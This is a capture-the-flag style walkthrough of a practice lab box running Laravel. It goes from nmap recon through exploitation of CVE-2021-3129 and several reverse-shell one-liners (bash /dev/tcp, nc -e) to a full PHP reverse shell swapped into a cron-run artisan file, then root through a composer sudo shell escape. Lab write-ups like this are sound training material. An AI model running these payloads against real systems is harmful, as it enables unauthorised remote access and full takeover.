LaVita_flow

Recon

TCP Scan

nmap -sCV -oN scans/tcp.nmap $IP
nmap -sCV -oN scans/tcp.nmap $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 14:03 +0800
Nmap scan report for 192.168.198.38
Host is up (0.0061s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: W3.CSS Template
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.32 seconds

UDP Scan (Top 20)

sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
[sudo] password for hans:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 14:03 +0800
Nmap scan report for 192.168.198.38
Host is up (0.0071s latency).

PORT      STATE  SERVICE
53/udp    closed domain
67/udp    closed dhcps
68/udp    closed dhcpc
69/udp    closed tftp
123/udp   closed ntp
135/udp   closed msrpc
137/udp   closed netbios-ns
138/udp   closed netbios-dgm
139/udp   closed netbios-ssn
161/udp   closed snmp
162/udp   closed snmptrap
445/udp   closed microsoft-ds
500/udp   closed isakmp
514/udp   closed syslog
520/udp   closed route
631/udp   closed ipp
1434/udp  closed ms-sql-m
1900/udp  closed upnp
4500/udp  closed nat-t-ike
49152/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 20.08 seconds

Service Enumeration

Web

Main Page

http://192.168.198.38/

Login / Register

http://192.168.198.38/login

http://192.168.198.38/register

After registering, we have this:

Form

There is a form on the main page.

Tried sending submitting the form and was led to a 404 page showing Laravel 8.4.0.

Googlefu

Found a Laravel-related CVE:
https://github.com/joshuavanderpoll/CVE-2021-3129

This script is designed to exploit the Remote Code Execution (RCE) vulnerability identified in several Laravel versions, known as CVE-2021-3129. By leveraging this vulnerability, the script allows users to write and execute commands on a target website running a vulnerable Laravel instance, provided that the "APP_DEBUG" configuration is set to "true" in the ".env" file.

The "APP_DEBUG" configuration sounded familiar. Something we saw in the Dashboard Testing Area after registering.

Scans

Scanned for web directories/files in the background just in case. Will revisit if stuck.

Directory brute force

feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o scans/ferox.md

Exploit

CVE-2021-3129

git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git
cd CVE-2021-3129
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Upon executing the script, I forgot to enable the "APP_DEBUG" configuration. After enabling it, the exploit went through:

Getting just one command executed takes a lot of steps via this exploit script.

Persistence

To gain persistent access in the form of a shell, we'll need to execute a reverse shell command and catch it in a nc listener.

Tried a few reverse shell commands which didn't work. The nc ones caught the listener on my host but immediately closed the connection.

sh -i >& /dev/tcp/192.168.45.232/1234 0>&1
bash -i >& /dev/tcp/192.168.45.232/1234 0>&1
/bin/bash -i >& /dev/tcp/192.168.45.232/1234 0>&1
nc 192.168.45.232 1234 -e sh
nc 192.168.45.232 1234 -e bash

Foothold

Shell

Somehow, what worked was: nc 192.168.45.232 1234 -e /bin/bash
After catching the reverse shell, the exploit script went haywire and stopped.

The first few nc's were the ones that didn't persist.

Stabilise Shell

┌──(hans㉿KaliKatak)-[~/…/Hax/Practice/PGPractice/LaVita]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.45.232] from (UNKNOWN) [192.168.198.38] 33762
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@debian:/$ ^Z
zsh: suspended  nc -lvnp 1234

┌──(hans㉿KaliKatak)-[~/…/Hax/Practice/PGPractice/LaVita]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 1234

www-data@debian:/$ export TERM=xterm
www-data@debian:/$

user flag

www-data@debian:/$ cd /home
www-data@debian:/home$ ls -al
total 12
drwxr-xr-x  3 root  root  4096 Dec  8  2023 .
drwxr-xr-x 18 root  root  4096 Sep 19  2023 ..
drwxr-xr-x  2 skunk skunk 4096 Dec  8  2023 skunk
www-data@debian:/home$ whoami && hostname && cat skunk/local.txt
www-data
debian
7f487edc0c6e0e33b488cdf70362602d

Privilege Escalation

Low-Hanging Fruits

**Linux

#sudo -l
need password for www-data
cat /etc/crontab
#cat /etc/crontab
default
crontab -l
#crontab -l
no crontab for www-data
ls -la /etc/cron.*
#ls -la /etc/cron.*
www-data@debian:/home$ ls -la /etc/cron.*
/etc/cron.d:
total 20
drwxr-xr-x  2 root root 4096 Dec  8  2023 .
drwxr-xr-x 75 root root 4096 Dec 16  2023 ..
-rw-r--r--  1 root root  102 Feb 22  2021 .placeholder
-rw-r--r--  1 root root  201 Jun  7  2021 e2scrub_all
-rw-r--r--  1 root root  712 May 11  2020 php

/etc/cron.daily:
total 32
drwxr-xr-x  2 root root 4096 Dec  8  2023 .
drwxr-xr-x 75 root root 4096 Dec 16  2023 ..
-rw-r--r--  1 root root  102 Feb 22  2021 .placeholder
-rwxr-xr-x  1 root root  539 Jun  9  2022 apache2
-rwxr-xr-x  1 root root 1478 Jun 10  2021 apt-compat
-rwxr-xr-x  1 root root 1298 Jan 30  2021 dpkg
-rwxr-xr-x  1 root root  377 Feb 28  2021 logrotate
-rwxr-xr-x  1 root root 1123 Feb 19  2021 man-db

/etc/cron.hourly:
total 12
drwxr-xr-x  2 root root 4096 Jun 16  2022 .
drwxr-xr-x 75 root root 4096 Dec 16  2023 ..
-rw-r--r--  1 root root  102 Feb 22  2021 .placeholder

/etc/cron.monthly:
total 12
drwxr-xr-x  2 root root 4096 Jun 16  2022 .
drwxr-xr-x 75 root root 4096 Dec 16  2023 ..
-rw-r--r--  1 root root  102 Feb 22  2021 .placeholder

/etc/cron.weekly:
total 16
drwxr-xr-x  2 root root 4096 Jun 16  2022 .
drwxr-xr-x 75 root root 4096 Dec 16  2023 ..
-rw-r--r--  1 root root  102 Feb 22  2021 .placeholder
-rwxr-xr-x  1 root root  813 Feb 19  2021 man-db
find / -perm -4000 -type f 2>/dev/null
#find / -perm -4000 -type f 2>/dev/null
www-data@debian:/home$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/sudo
ss -tlnp
netstat -tlnp
#ss -tlnp or netstat -tlnp
www-data@debian:/home$ ss -tlnp
State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*
LISTEN 0      128          0.0.0.0:22        0.0.0.0:*
LISTEN 0      511                *:80              *:*
LISTEN 0      128             [::]:22           [::]:*
cat /etc/passwd | grep sh$
#cat /etc/passwd | grep sh$
www-data@debian:/home$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
skunk:x:1001:1001::/home/skunk:/bin/bash

cat ~/.bash_history
#cat ~/.bash_history
-> /dev/null
ls -al /var/www/ /opt/ /var/backups/
#ls -al /var/www/ /opt/ /var/backups/
www-data@debian:/home$ ls -al /var/www/ /opt/ /var/backups/
/opt/:
total 8
drwxr-xr-x  2 root root 4096 Jun 16  2022 .
drwxr-xr-x 18 root root 4096 Sep 19  2023 ..

/var/backups/:
total 384
drwxr-xr-x  2 root root   4096 Dec  8  2023 .
drwxr-xr-x 12 root root   4096 Dec  8  2023 ..
-rw-r--r--  1 root root  30720 Nov 18  2022 alternatives.tar.0
-rw-r--r--  1 root root  15538 Dec  8  2023 apt.extended_states.0
-rw-r--r--  1 root root    905 Sep 19  2023 apt.extended_states.1.gz
-rw-r--r--  1 root root    908 Sep 19  2023 apt.extended_states.2.gz
-rw-r--r--  1 root root    905 Jun 16  2022 apt.extended_states.3.gz
-rw-r--r--  1 root root      0 Nov 18  2022 dpkg.arch.0
-rw-r--r--  1 root root    186 Jun 16  2022 dpkg.diversions.0
-rw-r--r--  1 root root    100 Jun 16  2022 dpkg.statoverride.0
-rw-r--r--  1 root root 312474 Jun 16  2022 dpkg.status.0

/var/www/:
total 12
drwxr-xr-x  3 root root 4096 Dec  8  2023 .
drwxr-xr-x 12 root root 4096 Dec  8  2023 ..
drwxr-xr-x  3 root root 4096 Dec  8  2023 html
┌──(.venv)─(hans㉿KaliKatak)-[~/…/Hax/Practice/PGPractice/LaVita]
└─$ pyhttp 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.198.38 - - [24/Jun/2026 16:35:24] "GET /linpeas.sh HTTP/1.1" 200 -

Download linpeas into victim machine.

www-data@debian:/var/www/html/lavita$ cd /tmp
www-data@debian:/tmp$ wget http://192.168.45.232/linpeas.sh
--2026-06-24 04:35:24--  http://192.168.45.232/linpeas.sh
Connecting to 192.168.45.232:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1063041 (1.0M) [application/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh          100%[===================>]   1.01M  4.14MB/s    in 0.2s

2026-06-24 04:35:25 (4.14 MB/s) - ‘linpeas.sh’ saved [1063041/1063041]

www-data@debian:/tmp$ ls -al
total 1048
drwxrwxrwt  2 root     root        4096 Jun 24 04:35 .
drwxr-xr-x 18 root     root        4096 Sep 19  2023 ..
-rw-r--r--  1 www-data www-data 1063041 Jun 24 04:31 linpeas.sh
╔══════════╣ SGID (T1548.001)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
-rwxr-sr-x 1 root shadow 38K Aug 26  2021 /usr/sbin/unix_chkpwd
-rwxr-sr-x 1 root tty 23K Jan 20  2022 /usr/bin/write.ul (Unknown SGID binary)
-rwxr-sr-x 1 root shadow 79K Feb  7  2020 /usr/bin/chage
-rwxr-sr-x 1 root mail 23K Feb  4  2021 /usr/bin/dotlockfile
-rwxr-sr-x 1 root crontab 43K Feb 22  2021 /usr/bin/crontab
-rwxr-sr-x 1 root ssh 347K Sep 23  2023 /usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 35K Jan 20  2022 /usr/bin/wall
-rwxr-sr-x 1 root shadow 31K Feb  7  2020 /usr/bin/expiry

pspy

ps aux will not actively monitor processes and may miss those scripts/crons that come and go.

2026/06/24 05:56:51 CMD: UID=0     PID=4      |
2026/06/24 05:56:51 CMD: UID=0     PID=3      |
2026/06/24 05:56:51 CMD: UID=0     PID=2      |
2026/06/24 05:56:51 CMD: UID=0     PID=1      | /sbin/init
2026/06/24 05:57:01 CMD: UID=0     PID=49013  | /usr/sbin/CRON -f
2026/06/24 05:57:01 CMD: UID=0     PID=49014  | /usr/sbin/CRON -f
2026/06/24 05:57:01 CMD: UID=1001  PID=49016  |
2026/06/24 05:57:01 CMD: UID=1001  PID=49017  | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
2026/06/24 05:57:01 CMD: UID=1001  PID=49019  | sh -c stty -a | grep columns
2026/06/24 05:57:01 CMD: UID=1001  PID=49018  | stty -a
2026/06/24 05:57:01 CMD: UID=1001  PID=49020  | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
2026/06/24 05:57:01 CMD: UID=1001  PID=49022  | sh -c stty -a | grep columns
2026/06/24 05:57:01 CMD: UID=1001  PID=49021  | stty -a
2026/06/24 05:57:01 CMD: UID=1001  PID=49023  | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
2026/06/24 05:57:01 CMD: UID=1001  PID=49024  | rm -Rf /var/www/html/lavita/public/images/*

pspy detected some activity every minute.

artisan

www-data@debian:/tmp$ ls -al /var/www/html/lavita/artisan
-rwxr-xr-x 1 www-data www-data 2588 Jun 24 07:38 /var/www/html/lavita/artisan
www-data@debian:/tmp$ head /var/www/html/lavita/artisan
<!/usr/bin/env php
<?php

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|

A cron is running every minute and executing artisan, which is a PHP file owned by www-data. We can simply swap this for a PHP reverse shell and gain a shell as 1001 which is skunk.

www-data@debian:/tmp$ id 1001
uid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data)

PentestMonkey PHP Reverse Shell

I used port 1234 earlier, so I need to remember to use a different one (1235 in this case).

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.45.232';
$port = 1235;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

Shell as skunk

Transfer shell.php to the lavita folder on the target machine and save it as artisan, but remember to back it up in case.

www-data@debian:/var/www/html/lavita$ cp artisan artisan.bak
tisanata@debian:/var/www/html/lavita$ wget http://192.168.45.232/shell.php -O artisan
--2026-06-24 07:41:39--  http://192.168.45.232/shell.php
Connecting to 192.168.45.232:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2588 (2.5K) [application/octet-stream]
Saving to: ‘artisan’

artisan             100%[===================>]   2.53K  --.-KB/s    in 0.004s

2026-06-24 07:41:39 (638 KB/s) - ‘artisan’ saved [2588/2588]

www-data@debian:/var/www/html/lavita$ head artisan
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.45.232';
$port = 1235;
$chunk_size = 1400;
$write_a = null;

In another terminal, just start a listener and wait for up to a minute:

Stablise Shell

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
skunk@debian:/$ ^Z
zsh: suspended  nc -lvnp 1235

┌──(.venv)─(hans㉿KaliKatak)-[~/…/Hax/Practice/PGPractice/LaVita]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 1235

skunk@debian:/$ export TERM=xterm
skunk@debian:/$

sudo

skunk@debian:/$ sudo -l
Matching Defaults entries for skunk on debian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User skunk may run the following commands on debian:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/composer --working-dir\=/var/www/html/lavita *

https://gtfobins.org/gtfobins/composer/
gtfobins happens to have a tip to escalate privileges using composer.

echo '{"scripts":{"x":"/bin/sh"}}' >composer.json
composer run-script x

I have access to composer.json in the earlier shell so I can edit the file directly to add a script to spawn a shell as skunk.

root flag

Remember to backup.

www-data@debian:/var/www/html/lavita$ cp composer.json composer.json.bak
www-data@debian:/var/www/html/lavita$ echo '{"scripts":{"x":"/bin/sh"}}' >composer.json

In skunk shell:

skunk@debian:/$ sudo /usr/bin/composer --working-dir\=/var/www/html/lavita run-script x
Do not run Composer as root/super user! See https://getcomposer.org/root for details
Continue as root/super user [yes]?
> /bin/sh
# whoami && hostname && cat /root/proof.txt
root
debian
75b2a092ba1ecadc43a5bfe1ba80d64e